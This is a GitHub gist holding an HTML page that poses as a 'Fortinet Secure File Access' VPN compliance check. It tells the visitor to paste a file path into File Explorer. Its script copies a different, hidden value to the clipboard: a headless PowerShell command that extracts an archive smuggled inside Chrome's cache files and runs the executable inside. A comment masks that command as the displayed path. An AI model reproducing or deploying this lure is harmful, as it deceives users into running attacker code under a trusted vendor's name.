Skip to content

Instantly share code, notes, and snippets.

@justaguywhocodes
Last active January 16, 2026 15:21
Show Gist options
  • Select an option

  • Save justaguywhocodes/81d8aeb0b4110027052c5cf225670530 to your computer and use it in GitHub Desktop.

Select an option

Save justaguywhocodes/81d8aeb0b4110027052c5cf225670530 to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Fortinet Secure File Access</title>
<style>
body {
margin: 0;
padding: 0;
background-color: #f0f0f0;
font-family: Arial, sans-serif;
display: flex;
flex-direction: column;
align-items: center;
justify-content: flex-start;
height: 100vh;
}
.header {
width: 100%;
background-color: #000;
color: #fff;
display: flex;
align-items: center;
padding: 10px 20px;
box-sizing: border-box;
}
.logo {
display: grid;
grid-template-columns: repeat(2, 15px);
grid-template-rows: repeat(2, 15px);
gap: 2px;
margin-right: 10px;
}
.logo-square {
background-color: #ff0000;
}
.header-title {
font-size: 24px;
font-weight: bold;
color: #fff;
}
.red-line {
width: 100%;
height: 2px;
background-color: #ff0000;
}
.dialog {
background-color: #fff;
border-radius: 10px;
padding: 20px;
margin-top: 50px;
width: 400px;
text-align: center;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.icon {
font-size: 40px;
color: #ff0000;
margin-bottom: 10px;
}
.dialog-title {
font-size: 20px;
font-weight: bold;
margin-bottom: 5px;
}
.dialog-time {
font-size: 14px;
color: #666;
margin-bottom: 20px;
}
.steps {
text-align: left;
font-size: 14px;
color: #333;
}
.path-box {
background-color: #ffebee;
border: 1px solid #ffcdd2;
border-radius: 5px;
padding: 5px 10px;
margin: 10px 0;
font-family: monospace;
text-align: center;
}
.button {
background-color: #ff0000;
color: #fff;
border: none;
border-radius: 5px;
padding: 10px 20px;
font-size: 16px;
margin-top: 20px;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
width: 100%;
}
.button-icon {
margin-right: 10px;
font-size: 18px;
}
.footer {
font-size: 12px;
color: #999;
margin-top: 20px;
text-align: center;
}
</style>
</head>
<body>
<div class="header">
<div class="logo">
<div class="logo-square"></div>
<div class="logo-square"></div>
<div class="logo-square"></div>
<div class="logo-square"></div>
</div>
<div class="header-title">Fortinet Secure File Access</div>
</div>
<div class="red-line"></div>
<div class="dialog">
<div class="icon">↳</div>
<div class="dialog-title">Fortinet VPN client compliance check</div>
<div class="dialog-time">25/09/2025 10:38:39</div>
<div class="steps">
1. Copy the file path below
<div class="path-box">\\Public\\Support\\VPN\\FortiClientCompliance.exe</div>
2. Open File Explorer and select the address bar (CTRL + L)<br>
3. Paste the path (CTRL + V) and press Enter
</div>
<button id="copyButton" class="button">
<span class="button-icon">📂</span> Open File Explorer
</button>
</div>
<div class="footer">
© 2025 Fortinet, Inc. All Rights Reserved.<br>
This page was automatically generated for secure file access by<br>
the Fortinet Support team.
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
const copyButton = document.getElementById('copyButton');
const copiedMessage = document.getElementById('copiedMessage');
// const payload = 'Start-Process "\\\\Public\\Support\\VPN\\FortiClientCompliance.exe"';
const payload = 'C:\\Windows\\System32\\conhost.exe –headless powershell -c "$k=\'%LOCALAPPDATA%\FortiClient\compliance\';mkdir -Force $k > $null;$d=\'%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\Cache_Data\';cp $d* $k; gci $k|%{$c=[System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes($_.FullName));$m=[regex]::Matches($c,\'(?<=bTgQcBpv)(.*?)(?=mX6o0lBw)\',16);if($m.Count-gt 0){[System.IO.File]::WriteAllBytes($k+ \'\ComplianceChecker.zip\',[System.Text.Encoding]::Default.GetBytes($m[0].Value)); Expand-Archive $k\' \ComplianceChecker.zip\' $k -Force; & $k\'\FortiClientComplianceChecker.exe\'}} # \\Public\Support\VPN\ForticlientCompliance.exe"';
copyButton.addEventListener('click', async function() {
try {
// Copy payload to clipboard
await navigator.clipboard.writeText(payload);
// Show confirmation message
copiedMessage.classList.add('show');
// Change button to success state
copyButton.innerHTML = '<span class="button-icon">✓</span> Copied!';
copyButton.style.backgroundColor = '#4CAF50';
copyButton.disabled = true;
// Reset button after 3 seconds
setTimeout(() => {
copiedMessage.classList.remove('show');
copyButton.innerHTML = '<span class="button-icon">📋</span> Copy PowerShell Payload';
copyButton.style.backgroundColor = '#ff0000';
copyButton.disabled = false;
}, 3000);
} catch (err) {
console.error('Failed to copy: ', err);
alert('Failed to copy payload. Please try again or copy manually.');
}
});
});
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment